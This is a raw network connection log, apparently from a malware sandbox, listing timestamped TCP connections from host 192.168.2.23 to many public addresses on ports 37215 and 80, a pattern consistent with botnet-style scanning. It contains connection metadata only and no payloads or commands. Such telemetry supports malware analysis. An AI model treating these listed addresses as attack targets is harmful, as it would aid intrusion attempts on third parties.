Dec 3, 2024 23:01:55.025912046 CET	59534	37215	192.168.2.23	156.74.129.156
Dec 3, 2024 23:01:55.025923014 CET	59534	37215	192.168.2.23	156.224.172.28
Dec 3, 2024 23:01:55.026014090 CET	45332	37215	192.168.2.23	156.173.247.206
Dec 3, 2024 23:01:55.026022911 CET	38502	37215	192.168.2.23	41.230.8.66
Dec 3, 2024 23:01:55.026036024 CET	38106	37215	192.168.2.23	156.251.92.74
Dec 3, 2024 23:01:55.026048899 CET	59898	37215	192.168.2.23	41.146.156.231
Dec 3, 2024 23:01:55.026063919 CET	55376	37215	192.168.2.23	41.81.138.66
Dec 3, 2024 23:01:55.026063919 CET	45468	37215	192.168.2.23	41.190.251.136
Dec 3, 2024 23:01:55.026082039 CET	48494	37215	192.168.2.23	197.168.179.89
Dec 3, 2024 23:01:55.026097059 CET	57614	37215	192.168.2.23	197.35.112.35
Dec 3, 2024 23:01:55.026102066 CET	45668	37215	192.168.2.23	41.225.76.87
Dec 3, 2024 23:01:55.026103020 CET	45714	37215	192.168.2.23	197.203.26.153
Dec 3, 2024 23:01:55.026124954 CET	35466	37215	192.168.2.23	156.247.102.199
Dec 3, 2024 23:01:55.026137114 CET	57084	37215	192.168.2.23	156.217.229.15
Dec 3, 2024 23:01:55.026143074 CET	59598	37215	192.168.2.23	156.10.46.2
Dec 3, 2024 23:01:55.026185989 CET	41106	37215	192.168.2.23	197.32.245.136
Dec 3, 2024 23:01:55.026185989 CET	41106	37215	192.168.2.23	197.32.245.136
Dec 3, 2024 23:01:55.026199102 CET	41422	37215	192.168.2.23	197.32.245.136
Dec 3, 2024 23:01:55.069976091 CET	37215	43294	156.208.58.152	192.168.2.23
Dec 3, 2024 23:01:55.073860884 CET	48142	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:55.073860884 CET	58878	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:55.073860884 CET	45998	80	192.168.2.23	153.78.233.79
Dec 3, 2024 23:01:55.073863983 CET	50164	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:55.073869944 CET	49510	80	192.168.2.23	173.230.32.46
Dec 3, 2024 23:01:55.073874950 CET	51330	80	192.168.2.23	133.245.87.115
Dec 3, 2024 23:01:55.073877096 CET	49556	80	192.168.2.23	116.80.66.91
Dec 3, 2024 23:01:55.073883057 CET	57542	80	192.168.2.23	142.22.147.27
Dec 3, 2024 23:01:55.073893070 CET	47514	80	192.168.2.23	165.173.127.185
Dec 3, 2024 23:01:55.073894978 CET	58896	80	192.168.2.23	38.96.150.180
Dec 3, 2024 23:01:55.073894978 CET	59750	80	192.168.2.23	205.244.238.92
Dec 3, 2024 23:01:55.073903084 CET	49624	80	192.168.2.23	27.213.187.69
Dec 3, 2024 23:01:55.073899984 CET	47038	80	192.168.2.23	37.30.94.170
Dec 3, 2024 23:01:55.073903084 CET	43440	80	192.168.2.23	164.63.62.180
Dec 3, 2024 23:01:55.073909998 CET	53896	80	192.168.2.23	50.151.21.8
Dec 3, 2024 23:01:55.073909998 CET	59364	80	192.168.2.23	82.120.56.10
Dec 3, 2024 23:01:55.073911905 CET	60486	80	192.168.2.23	123.52.192.123
Dec 3, 2024 23:01:55.073916912 CET	37408	80	192.168.2.23	198.53.211.167
Dec 3, 2024 23:01:55.073909998 CET	60070	80	192.168.2.23	111.235.227.103
Dec 3, 2024 23:01:55.073923111 CET	42668	80	192.168.2.23	146.63.138.246
Dec 3, 2024 23:01:55.073929071 CET	36062	80	192.168.2.23	81.114.132.64
Dec 3, 2024 23:01:55.073930025 CET	52140	80	192.168.2.23	64.182.50.28
Dec 3, 2024 23:01:55.073930025 CET	43024	80	192.168.2.23	73.36.157.53
Dec 3, 2024 23:01:55.073930025 CET	39646	80	192.168.2.23	68.184.62.249
Dec 3, 2024 23:01:55.073932886 CET	36626	80	192.168.2.23	208.239.12.189
Dec 3, 2024 23:01:55.073935032 CET	59284	80	192.168.2.23	177.233.205.201
Dec 3, 2024 23:01:55.073940992 CET	45558	80	192.168.2.23	143.150.243.101
Dec 3, 2024 23:01:55.105858088 CET	36248	80	192.168.2.23	201.125.207.171
Dec 3, 2024 23:01:55.105858088 CET	54382	80	192.168.2.23	198.165.232.52
Dec 3, 2024 23:01:55.105858088 CET	33208	80	192.168.2.23	173.72.159.111
Dec 3, 2024 23:01:55.105859041 CET	52296	80	192.168.2.23	209.173.84.48
Dec 3, 2024 23:01:55.133722067 CET	37215	55660	197.174.22.109	192.168.2.23
Dec 3, 2024 23:01:55.133730888 CET	80	42998	184.145.222.88	192.168.2.23
Dec 3, 2024 23:01:55.133749008 CET	37215	55914	197.174.22.109	192.168.2.23
Dec 3, 2024 23:01:55.133757114 CET	37215	45290	156.85.239.222	192.168.2.23
Dec 3, 2024 23:01:55.133794069 CET	55914	37215	192.168.2.23	197.174.22.109
Dec 3, 2024 23:01:55.133867025 CET	55914	37215	192.168.2.23	197.174.22.109
Dec 3, 2024 23:01:55.133918047 CET	80	38670	57.16.75.18	192.168.2.23
Dec 3, 2024 23:01:55.134018898 CET	80	43788	184.145.222.88	192.168.2.23
Dec 3, 2024 23:01:55.134027958 CET	80	59660	40.208.105.235	192.168.2.23
Dec 3, 2024 23:01:55.134046078 CET	80	39460	57.16.75.18	192.168.2.23
Dec 3, 2024 23:01:55.134054899 CET	80	60452	40.208.105.235	192.168.2.23
Dec 3, 2024 23:01:55.134063959 CET	37215	33060	156.191.133.121	192.168.2.23
Dec 3, 2024 23:01:55.134073019 CET	43788	80	192.168.2.23	184.145.222.88
Dec 3, 2024 23:01:55.134087086 CET	39460	80	192.168.2.23	57.16.75.18
Dec 3, 2024 23:01:55.134094954 CET	60452	80	192.168.2.23	40.208.105.235
Dec 3, 2024 23:01:55.134133101 CET	43788	80	192.168.2.23	184.145.222.88
Dec 3, 2024 23:01:55.134144068 CET	39460	80	192.168.2.23	57.16.75.18
Dec 3, 2024 23:01:55.134150028 CET	60452	80	192.168.2.23	40.208.105.235
Dec 3, 2024 23:01:55.134171009 CET	37215	33942	41.243.122.209	192.168.2.23
Dec 3, 2024 23:01:55.134207964 CET	37215	58152	156.177.86.195	192.168.2.23
Dec 3, 2024 23:01:55.134306908 CET	37215	53180	156.1.156.161	192.168.2.23
Dec 3, 2024 23:01:55.134324074 CET	37215	39884	41.223.100.164	192.168.2.23
Dec 3, 2024 23:01:55.134375095 CET	37215	58952	197.213.172.174	192.168.2.23
Dec 3, 2024 23:01:55.136537075 CET	37215	37134	197.198.188.20	192.168.2.23
Dec 3, 2024 23:01:55.136580944 CET	37134	37215	192.168.2.23	197.198.188.20
Dec 3, 2024 23:01:55.146205902 CET	37215	45240	41.34.236.132	192.168.2.23
Dec 3, 2024 23:01:55.146217108 CET	37215	41656	41.204.44.51	192.168.2.23
Dec 3, 2024 23:01:55.146716118 CET	37215	60102	156.199.249.209	192.168.2.23
Dec 3, 2024 23:01:55.147198915 CET	80	60046	85.42.189.137	192.168.2.23
Dec 3, 2024 23:01:55.147208929 CET	80	60046	8.255.164.128	192.168.2.23
Dec 3, 2024 23:01:55.147218943 CET	80	60046	212.53.111.208	192.168.2.23
Dec 3, 2024 23:01:55.147238016 CET	80	60046	137.224.169.141	192.168.2.23
Dec 3, 2024 23:01:55.147248983 CET	80	60046	124.224.219.168	192.168.2.23
Dec 3, 2024 23:01:55.147257090 CET	80	60046	208.132.145.179	192.168.2.23
Dec 3, 2024 23:01:55.147265911 CET	80	60046	176.1.7.9	192.168.2.23
Dec 3, 2024 23:01:55.147274017 CET	80	60046	105.172.5.168	192.168.2.23
Dec 3, 2024 23:01:55.147291899 CET	80	60046	173.230.39.235	192.168.2.23
Dec 3, 2024 23:01:55.147300005 CET	80	60046	159.108.60.226	192.168.2.23
Dec 3, 2024 23:01:55.147303104 CET	80	60046	78.65.198.150	192.168.2.23
Dec 3, 2024 23:01:55.147306919 CET	80	60046	175.75.70.54	192.168.2.23
Dec 3, 2024 23:01:55.147344112 CET	60046	80	192.168.2.23	124.224.219.168
Dec 3, 2024 23:01:55.147346020 CET	60046	80	192.168.2.23	137.224.169.141
Dec 3, 2024 23:01:55.147346020 CET	60046	80	192.168.2.23	176.1.7.9
Dec 3, 2024 23:01:55.147361994 CET	60046	80	192.168.2.23	105.172.5.168
Dec 3, 2024 23:01:55.147363901 CET	60046	80	192.168.2.23	173.230.39.235
Dec 3, 2024 23:01:55.147366047 CET	60046	80	192.168.2.23	212.53.111.208
Dec 3, 2024 23:01:55.147366047 CET	60046	80	192.168.2.23	208.132.145.179
Dec 3, 2024 23:01:55.147367001 CET	60046	80	192.168.2.23	159.108.60.226
Dec 3, 2024 23:01:55.147367001 CET	60046	80	192.168.2.23	85.42.189.137
Dec 3, 2024 23:01:55.147367001 CET	60046	80	192.168.2.23	78.65.198.150
Dec 3, 2024 23:01:55.147368908 CET	60046	80	192.168.2.23	8.255.164.128
Dec 3, 2024 23:01:55.147377968 CET	60046	80	192.168.2.23	175.75.70.54
Dec 3, 2024 23:01:55.147558928 CET	80	32814	219.81.41.173	192.168.2.23
Dec 3, 2024 23:01:55.147682905 CET	80	52416	140.3.1.82	192.168.2.23
Dec 3, 2024 23:01:55.174015045 CET	80	38670	57.16.75.18	192.168.2.23
Dec 3, 2024 23:01:55.174025059 CET	37215	45290	156.85.239.222	192.168.2.23
Dec 3, 2024 23:01:55.174032927 CET	80	42998	184.145.222.88	192.168.2.23
Dec 3, 2024 23:01:55.174041033 CET	37215	55660	197.174.22.109	192.168.2.23
Dec 3, 2024 23:01:55.181873083 CET	37215	58952	197.213.172.174	192.168.2.23
Dec 3, 2024 23:01:55.181881905 CET	37215	39884	41.223.100.164	192.168.2.23
Dec 3, 2024 23:01:55.181890011 CET	37215	53180	156.1.156.161	192.168.2.23
Dec 3, 2024 23:01:55.181935072 CET	37215	58152	156.177.86.195	192.168.2.23
Dec 3, 2024 23:01:55.181943893 CET	37215	33942	41.243.122.209	192.168.2.23
Dec 3, 2024 23:01:55.181952000 CET	37215	33060	156.191.133.121	192.168.2.23
Dec 3, 2024 23:01:55.181962967 CET	80	59660	40.208.105.235	192.168.2.23
Dec 3, 2024 23:01:55.193924904 CET	80	52416	140.3.1.82	192.168.2.23
Dec 3, 2024 23:01:55.194082022 CET	80	32814	219.81.41.173	192.168.2.23
Dec 3, 2024 23:01:55.194091082 CET	37215	60102	156.199.249.209	192.168.2.23
Dec 3, 2024 23:01:55.194098949 CET	37215	41656	41.204.44.51	192.168.2.23
Dec 3, 2024 23:01:55.194102049 CET	37215	45240	41.34.236.132	192.168.2.23
Dec 3, 2024 23:01:55.257807016 CET	37215	59534	197.191.214.20	192.168.2.23
Dec 3, 2024 23:01:55.257817984 CET	37215	41106	197.32.245.136	192.168.2.23
Dec 3, 2024 23:01:55.257826090 CET	80	50164	102.137.240.134	192.168.2.23
Dec 3, 2024 23:01:55.257831097 CET	80	48142	152.212.240.188	192.168.2.23
Dec 3, 2024 23:01:55.257848024 CET	80	49510	173.230.32.46	192.168.2.23
Dec 3, 2024 23:01:55.257855892 CET	80	58878	109.62.119.7	192.168.2.23
Dec 3, 2024 23:01:55.257865906 CET	80	45998	153.78.233.79	192.168.2.23
Dec 3, 2024 23:01:55.257879972 CET	80	36248	201.125.207.171	192.168.2.23
Dec 3, 2024 23:01:55.257889032 CET	80	33208	173.72.159.111	192.168.2.23
Dec 3, 2024 23:01:55.257899046 CET	80	54382	198.165.232.52	192.168.2.23
Dec 3, 2024 23:01:55.258004904 CET	54382	80	192.168.2.23	198.165.232.52
Dec 3, 2024 23:01:55.258003950 CET	49510	80	192.168.2.23	173.230.32.46
Dec 3, 2024 23:01:55.258007050 CET	48142	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:55.258018970 CET	58878	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:55.258018970 CET	45998	80	192.168.2.23	153.78.233.79
Dec 3, 2024 23:01:55.258018970 CET	33208	80	192.168.2.23	173.72.159.111
Dec 3, 2024 23:01:55.258019924 CET	59534	37215	192.168.2.23	197.191.214.20
Dec 3, 2024 23:01:55.258021116 CET	50164	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:55.258021116 CET	36248	80	192.168.2.23	201.125.207.171
Dec 3, 2024 23:01:55.258035898 CET	37215	43544	156.208.58.152	192.168.2.23
Dec 3, 2024 23:01:55.258089066 CET	35558	80	192.168.2.23	85.42.189.137
Dec 3, 2024 23:01:55.258104086 CET	55630	80	192.168.2.23	8.255.164.128
Dec 3, 2024 23:01:55.258121014 CET	40114	80	192.168.2.23	212.53.111.208
Dec 3, 2024 23:01:55.258138895 CET	57802	80	192.168.2.23	137.224.169.141
Dec 3, 2024 23:01:55.258153915 CET	49178	80	192.168.2.23	124.224.219.168
Dec 3, 2024 23:01:55.258167028 CET	54236	80	192.168.2.23	208.132.145.179
Dec 3, 2024 23:01:55.258189917 CET	48998	80	192.168.2.23	176.1.7.9
Dec 3, 2024 23:01:55.258205891 CET	59728	80	192.168.2.23	105.172.5.168
Dec 3, 2024 23:01:55.258235931 CET	56716	80	192.168.2.23	173.230.39.235
Dec 3, 2024 23:01:55.258266926 CET	37594	80	192.168.2.23	159.108.60.226
Dec 3, 2024 23:01:55.258275986 CET	35566	80	192.168.2.23	78.65.198.150
Dec 3, 2024 23:01:55.258292913 CET	52372	80	192.168.2.23	175.75.70.54
Dec 3, 2024 23:01:55.258346081 CET	48142	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:55.258346081 CET	48142	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:55.258369923 CET	37215	43544	156.208.58.152	192.168.2.23
Dec 3, 2024 23:01:55.258373022 CET	48870	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:55.258378983 CET	50164	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:55.258378983 CET	50164	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:55.258411884 CET	43544	37215	192.168.2.23	156.208.58.152
Dec 3, 2024 23:01:55.258429050 CET	50892	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:55.258431911 CET	58878	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:55.258431911 CET	58878	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:55.258456945 CET	59606	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:55.258469105 CET	45998	80	192.168.2.23	153.78.233.79
Dec 3, 2024 23:01:55.258469105 CET	45998	80	192.168.2.23	153.78.233.79
Dec 3, 2024 23:01:55.258488894 CET	46726	80	192.168.2.23	153.78.233.79
Dec 3, 2024 23:01:55.258497000 CET	49510	80	192.168.2.23	173.230.32.46
Dec 3, 2024 23:01:55.258497000 CET	49510	80	192.168.2.23	173.230.32.46
Dec 3, 2024 23:01:55.258518934 CET	50238	80	192.168.2.23	173.230.32.46
Dec 3, 2024 23:01:55.258528948 CET	54382	80	192.168.2.23	198.165.232.52
Dec 3, 2024 23:01:55.258528948 CET	54382	80	192.168.2.23	198.165.232.52
Dec 3, 2024 23:01:55.258548021 CET	54724	80	192.168.2.23	198.165.232.52
Dec 3, 2024 23:01:55.258563042 CET	36248	80	192.168.2.23	201.125.207.171
Dec 3, 2024 23:01:55.258563042 CET	36248	80	192.168.2.23	201.125.207.171
Dec 3, 2024 23:01:55.258583069 CET	36590	80	192.168.2.23	201.125.207.171
Dec 3, 2024 23:01:55.258599997 CET	33208	80	192.168.2.23	173.72.159.111
Dec 3, 2024 23:01:55.258599997 CET	33208	80	192.168.2.23	173.72.159.111
Dec 3, 2024 23:01:55.258615971 CET	33550	80	192.168.2.23	173.72.159.111
Dec 3, 2024 23:01:55.258703947 CET	37215	55914	197.174.22.109	192.168.2.23
Dec 3, 2024 23:01:55.258743048 CET	55914	37215	192.168.2.23	197.174.22.109
Dec 3, 2024 23:01:55.258955002 CET	80	43788	184.145.222.88	192.168.2.23
Dec 3, 2024 23:01:55.259000063 CET	43788	80	192.168.2.23	184.145.222.88
Dec 3, 2024 23:01:55.259181976 CET	80	39460	57.16.75.18	192.168.2.23
Dec 3, 2024 23:01:55.259222031 CET	39460	80	192.168.2.23	57.16.75.18
Dec 3, 2024 23:01:55.259517908 CET	80	60452	40.208.105.235	192.168.2.23
Dec 3, 2024 23:01:55.259557009 CET	60452	80	192.168.2.23	40.208.105.235
Dec 3, 2024 23:01:55.297924995 CET	37215	41106	197.32.245.136	192.168.2.23
Dec 3, 2024 23:01:55.382302999 CET	80	35558	85.42.189.137	192.168.2.23
Dec 3, 2024 23:01:55.382457972 CET	80	55630	8.255.164.128	192.168.2.23
Dec 3, 2024 23:01:55.382467031 CET	80	40114	212.53.111.208	192.168.2.23
Dec 3, 2024 23:01:55.382489920 CET	35558	80	192.168.2.23	85.42.189.137
Dec 3, 2024 23:01:55.382489920 CET	35558	80	192.168.2.23	85.42.189.137
Dec 3, 2024 23:01:55.382489920 CET	35558	80	192.168.2.23	85.42.189.137
Dec 3, 2024 23:01:55.382502079 CET	35598	80	192.168.2.23	85.42.189.137
Dec 3, 2024 23:01:55.382523060 CET	80	57802	137.224.169.141	192.168.2.23
Dec 3, 2024 23:01:55.382595062 CET	40114	80	192.168.2.23	212.53.111.208
Dec 3, 2024 23:01:55.382596970 CET	80	49178	124.224.219.168	192.168.2.23
Dec 3, 2024 23:01:55.382601976 CET	57802	80	192.168.2.23	137.224.169.141
Dec 3, 2024 23:01:55.382606983 CET	80	54236	208.132.145.179	192.168.2.23
Dec 3, 2024 23:01:55.382641077 CET	49178	80	192.168.2.23	124.224.219.168
Dec 3, 2024 23:01:55.382667065 CET	40114	80	192.168.2.23	212.53.111.208
Dec 3, 2024 23:01:55.382667065 CET	40114	80	192.168.2.23	212.53.111.208
Dec 3, 2024 23:01:55.382677078 CET	40152	80	192.168.2.23	212.53.111.208
Dec 3, 2024 23:01:55.382678986 CET	80	48998	176.1.7.9	192.168.2.23
Dec 3, 2024 23:01:55.382688999 CET	80	59728	105.172.5.168	192.168.2.23
Dec 3, 2024 23:01:55.382690907 CET	57802	80	192.168.2.23	137.224.169.141
Dec 3, 2024 23:01:55.382690907 CET	57802	80	192.168.2.23	137.224.169.141
Dec 3, 2024 23:01:55.382699013 CET	80	56716	173.230.39.235	192.168.2.23
Dec 3, 2024 23:01:55.382710934 CET	57840	80	192.168.2.23	137.224.169.141
Dec 3, 2024 23:01:55.382718086 CET	80	37594	159.108.60.226	192.168.2.23
Dec 3, 2024 23:01:55.382726908 CET	80	35566	78.65.198.150	192.168.2.23
Dec 3, 2024 23:01:55.382729053 CET	59728	80	192.168.2.23	105.172.5.168
Dec 3, 2024 23:01:55.382735968 CET	55630	80	192.168.2.23	8.255.164.128
Dec 3, 2024 23:01:55.382747889 CET	54236	80	192.168.2.23	208.132.145.179
Dec 3, 2024 23:01:55.382754087 CET	37594	80	192.168.2.23	159.108.60.226
Dec 3, 2024 23:01:55.382757902 CET	48998	80	192.168.2.23	176.1.7.9
Dec 3, 2024 23:01:55.382765055 CET	80	52372	175.75.70.54	192.168.2.23
Dec 3, 2024 23:01:55.382766008 CET	56716	80	192.168.2.23	173.230.39.235
Dec 3, 2024 23:01:55.382771015 CET	35566	80	192.168.2.23	78.65.198.150
Dec 3, 2024 23:01:55.382788897 CET	49178	80	192.168.2.23	124.224.219.168
Dec 3, 2024 23:01:55.382790089 CET	80	48142	152.212.240.188	192.168.2.23
Dec 3, 2024 23:01:55.382788897 CET	49178	80	192.168.2.23	124.224.219.168
Dec 3, 2024 23:01:55.382808924 CET	49216	80	192.168.2.23	124.224.219.168
Dec 3, 2024 23:01:55.382810116 CET	52372	80	192.168.2.23	175.75.70.54
Dec 3, 2024 23:01:55.382837057 CET	55630	80	192.168.2.23	8.255.164.128
Dec 3, 2024 23:01:55.382837057 CET	55630	80	192.168.2.23	8.255.164.128
Dec 3, 2024 23:01:55.382863045 CET	54236	80	192.168.2.23	208.132.145.179
Dec 3, 2024 23:01:55.382864952 CET	55676	80	192.168.2.23	8.255.164.128
Dec 3, 2024 23:01:55.382877111 CET	54236	80	192.168.2.23	208.132.145.179
Dec 3, 2024 23:01:55.382894993 CET	54276	80	192.168.2.23	208.132.145.179
Dec 3, 2024 23:01:55.382901907 CET	59728	80	192.168.2.23	105.172.5.168
Dec 3, 2024 23:01:55.382901907 CET	59728	80	192.168.2.23	105.172.5.168
Dec 3, 2024 23:01:55.382927895 CET	59766	80	192.168.2.23	105.172.5.168
Dec 3, 2024 23:01:55.382955074 CET	48998	80	192.168.2.23	176.1.7.9
Dec 3, 2024 23:01:55.382955074 CET	48998	80	192.168.2.23	176.1.7.9
Dec 3, 2024 23:01:55.382971048 CET	49040	80	192.168.2.23	176.1.7.9
Dec 3, 2024 23:01:55.382981062 CET	56716	80	192.168.2.23	173.230.39.235
Dec 3, 2024 23:01:55.382981062 CET	56716	80	192.168.2.23	173.230.39.235
Dec 3, 2024 23:01:55.382992983 CET	56756	80	192.168.2.23	173.230.39.235
Dec 3, 2024 23:01:55.383008957 CET	37594	80	192.168.2.23	159.108.60.226
Dec 3, 2024 23:01:55.383008957 CET	37594	80	192.168.2.23	159.108.60.226
Dec 3, 2024 23:01:55.383009911 CET	37634	80	192.168.2.23	159.108.60.226
Dec 3, 2024 23:01:55.383024931 CET	35566	80	192.168.2.23	78.65.198.150
Dec 3, 2024 23:01:55.383024931 CET	35566	80	192.168.2.23	78.65.198.150
Dec 3, 2024 23:01:55.383037090 CET	35606	80	192.168.2.23	78.65.198.150
Dec 3, 2024 23:01:55.383047104 CET	52372	80	192.168.2.23	175.75.70.54
Dec 3, 2024 23:01:55.383047104 CET	52372	80	192.168.2.23	175.75.70.54
Dec 3, 2024 23:01:55.383063078 CET	52412	80	192.168.2.23	175.75.70.54
Dec 3, 2024 23:01:55.383117914 CET	80	48870	152.212.240.188	192.168.2.23
Dec 3, 2024 23:01:55.383162975 CET	48870	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:55.383183002 CET	48870	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:55.383186102 CET	80	50164	102.137.240.134	192.168.2.23
Dec 3, 2024 23:01:55.383194923 CET	80	58878	109.62.119.7	192.168.2.23
Dec 3, 2024 23:01:55.383203030 CET	80	50892	102.137.240.134	192.168.2.23
Dec 3, 2024 23:01:55.383224010 CET	80	59606	109.62.119.7	192.168.2.23
Dec 3, 2024 23:01:55.383233070 CET	80	45998	153.78.233.79	192.168.2.23
Dec 3, 2024 23:01:55.383241892 CET	50892	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:55.383245945 CET	80	49510	173.230.32.46	192.168.2.23
Dec 3, 2024 23:01:55.383254051 CET	50892	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:55.383266926 CET	59606	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:55.383274078 CET	59606	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:55.383444071 CET	80	54382	198.165.232.52	192.168.2.23
Dec 3, 2024 23:01:55.383452892 CET	80	36248	201.125.207.171	192.168.2.23
Dec 3, 2024 23:01:55.383461952 CET	80	33208	173.72.159.111	192.168.2.23
Dec 3, 2024 23:01:55.429933071 CET	80	33208	173.72.159.111	192.168.2.23
Dec 3, 2024 23:01:55.429944038 CET	80	36248	201.125.207.171	192.168.2.23
Dec 3, 2024 23:01:55.429965019 CET	80	54382	198.165.232.52	192.168.2.23
Dec 3, 2024 23:01:55.429972887 CET	80	49510	173.230.32.46	192.168.2.23
Dec 3, 2024 23:01:55.429981947 CET	80	45998	153.78.233.79	192.168.2.23
Dec 3, 2024 23:01:55.429990053 CET	80	58878	109.62.119.7	192.168.2.23
Dec 3, 2024 23:01:55.429997921 CET	80	50164	102.137.240.134	192.168.2.23
Dec 3, 2024 23:01:55.430006027 CET	80	48142	152.212.240.188	192.168.2.23
Dec 3, 2024 23:01:55.489855051 CET	42516	80	192.168.2.23	109.202.202.202
Dec 3, 2024 23:01:55.506581068 CET	80	35558	85.42.189.137	192.168.2.23
Dec 3, 2024 23:01:55.506591082 CET	80	35598	85.42.189.137	192.168.2.23
Dec 3, 2024 23:01:55.506618023 CET	80	40114	212.53.111.208	192.168.2.23
Dec 3, 2024 23:01:55.506778002 CET	35598	80	192.168.2.23	85.42.189.137
Dec 3, 2024 23:01:55.506778002 CET	35598	80	192.168.2.23	85.42.189.137
Dec 3, 2024 23:01:55.507153034 CET	80	40152	212.53.111.208	192.168.2.23
Dec 3, 2024 23:01:55.507163048 CET	80	57802	137.224.169.141	192.168.2.23
Dec 3, 2024 23:01:55.507205009 CET	40152	80	192.168.2.23	212.53.111.208
Dec 3, 2024 23:01:55.507235050 CET	40152	80	192.168.2.23	212.53.111.208
Dec 3, 2024 23:01:55.507289886 CET	80	57840	137.224.169.141	192.168.2.23
Dec 3, 2024 23:01:55.507338047 CET	80	49178	124.224.219.168	192.168.2.23
Dec 3, 2024 23:01:55.507383108 CET	80	49216	124.224.219.168	192.168.2.23
Dec 3, 2024 23:01:55.507390976 CET	80	55630	8.255.164.128	192.168.2.23
Dec 3, 2024 23:01:55.507451057 CET	57840	80	192.168.2.23	137.224.169.141
Dec 3, 2024 23:01:55.507451057 CET	49216	80	192.168.2.23	124.224.219.168
Dec 3, 2024 23:01:55.507479906 CET	57840	80	192.168.2.23	137.224.169.141
Dec 3, 2024 23:01:55.507493973 CET	49216	80	192.168.2.23	124.224.219.168
Dec 3, 2024 23:01:55.507675886 CET	80	54236	208.132.145.179	192.168.2.23
Dec 3, 2024 23:01:55.507684946 CET	80	55676	8.255.164.128	192.168.2.23
Dec 3, 2024 23:01:55.507694960 CET	80	54276	208.132.145.179	192.168.2.23
Dec 3, 2024 23:01:55.507710934 CET	80	59728	105.172.5.168	192.168.2.23
Dec 3, 2024 23:01:55.507718086 CET	80	59766	105.172.5.168	192.168.2.23
Dec 3, 2024 23:01:55.507725954 CET	80	48998	176.1.7.9	192.168.2.23
Dec 3, 2024 23:01:55.507734060 CET	80	56716	173.230.39.235	192.168.2.23
Dec 3, 2024 23:01:55.507752895 CET	54276	80	192.168.2.23	208.132.145.179
Dec 3, 2024 23:01:55.507761002 CET	55676	80	192.168.2.23	8.255.164.128
Dec 3, 2024 23:01:55.507766962 CET	59766	80	192.168.2.23	105.172.5.168
Dec 3, 2024 23:01:55.507795095 CET	55676	80	192.168.2.23	8.255.164.128
Dec 3, 2024 23:01:55.507811069 CET	54276	80	192.168.2.23	208.132.145.179
Dec 3, 2024 23:01:55.507811069 CET	59766	80	192.168.2.23	105.172.5.168
Dec 3, 2024 23:01:55.507957935 CET	80	49040	176.1.7.9	192.168.2.23
Dec 3, 2024 23:01:55.508008957 CET	49040	80	192.168.2.23	176.1.7.9
Dec 3, 2024 23:01:55.508044004 CET	80	56756	173.230.39.235	192.168.2.23
Dec 3, 2024 23:01:55.508044004 CET	49040	80	192.168.2.23	176.1.7.9
Dec 3, 2024 23:01:55.508053064 CET	80	37594	159.108.60.226	192.168.2.23
Dec 3, 2024 23:01:55.508060932 CET	80	37634	159.108.60.226	192.168.2.23
Dec 3, 2024 23:01:55.508069038 CET	80	35566	78.65.198.150	192.168.2.23
Dec 3, 2024 23:01:55.508085012 CET	80	35606	78.65.198.150	192.168.2.23
Dec 3, 2024 23:01:55.508091927 CET	56756	80	192.168.2.23	173.230.39.235
Dec 3, 2024 23:01:55.508094072 CET	80	52372	175.75.70.54	192.168.2.23
Dec 3, 2024 23:01:55.508107901 CET	80	52412	175.75.70.54	192.168.2.23
Dec 3, 2024 23:01:55.508111000 CET	37634	80	192.168.2.23	159.108.60.226
Dec 3, 2024 23:01:55.508126020 CET	35606	80	192.168.2.23	78.65.198.150
Dec 3, 2024 23:01:55.508131027 CET	56756	80	192.168.2.23	173.230.39.235
Dec 3, 2024 23:01:55.508133888 CET	52412	80	192.168.2.23	175.75.70.54
Dec 3, 2024 23:01:55.508135080 CET	37634	80	192.168.2.23	159.108.60.226
Dec 3, 2024 23:01:55.508179903 CET	35606	80	192.168.2.23	78.65.198.150
Dec 3, 2024 23:01:55.508191109 CET	52412	80	192.168.2.23	175.75.70.54
Dec 3, 2024 23:01:55.509900093 CET	80	59606	109.62.119.7	192.168.2.23
Dec 3, 2024 23:01:55.509908915 CET	80	50892	102.137.240.134	192.168.2.23
Dec 3, 2024 23:01:55.509917021 CET	80	48870	152.212.240.188	192.168.2.23
Dec 3, 2024 23:01:55.510777950 CET	80	48870	152.212.240.188	192.168.2.23
Dec 3, 2024 23:01:55.510835886 CET	48870	80	192.168.2.23	152.212.240.188
Dec 3, 2024 23:01:55.511185884 CET	80	50892	102.137.240.134	192.168.2.23
Dec 3, 2024 23:01:55.511233091 CET	50892	80	192.168.2.23	102.137.240.134
Dec 3, 2024 23:01:55.511380911 CET	80	59606	109.62.119.7	192.168.2.23
Dec 3, 2024 23:01:55.511423111 CET	59606	80	192.168.2.23	109.62.119.7
Dec 3, 2024 23:01:55.554039001 CET	80	52372	175.75.70.54	192.168.2.23
Dec 3, 2024 23:01:55.554048061 CET	80	35566	78.65.198.150	192.168.2.23
Dec 3, 2024 23:01:55.554052114 CET	80	37594	159.108.60.226	192.168.2.23
Dec 3, 2024 23:01:55.554054976 CET	80	56716	173.230.39.235	192.168.2.23
Dec 3, 2024 23:01:55.554061890 CET	80	48998	176.1.7.9	192.168.2.23
Dec 3, 2024 23:01:55.554065943 CET	80	59728	105.172.5.168	192.168.2.23
Dec 3, 2024 23:01:55.554069042 CET	80	54236	208.132.145.179	192.168.2.23
Dec 3, 2024 23:01:55.554071903 CET	80	55630	8.255.164.128	192.168.2.23
Dec 3, 2024 23:01:55.554075003 CET	80	49178	124.224.219.168	192.168.2.23
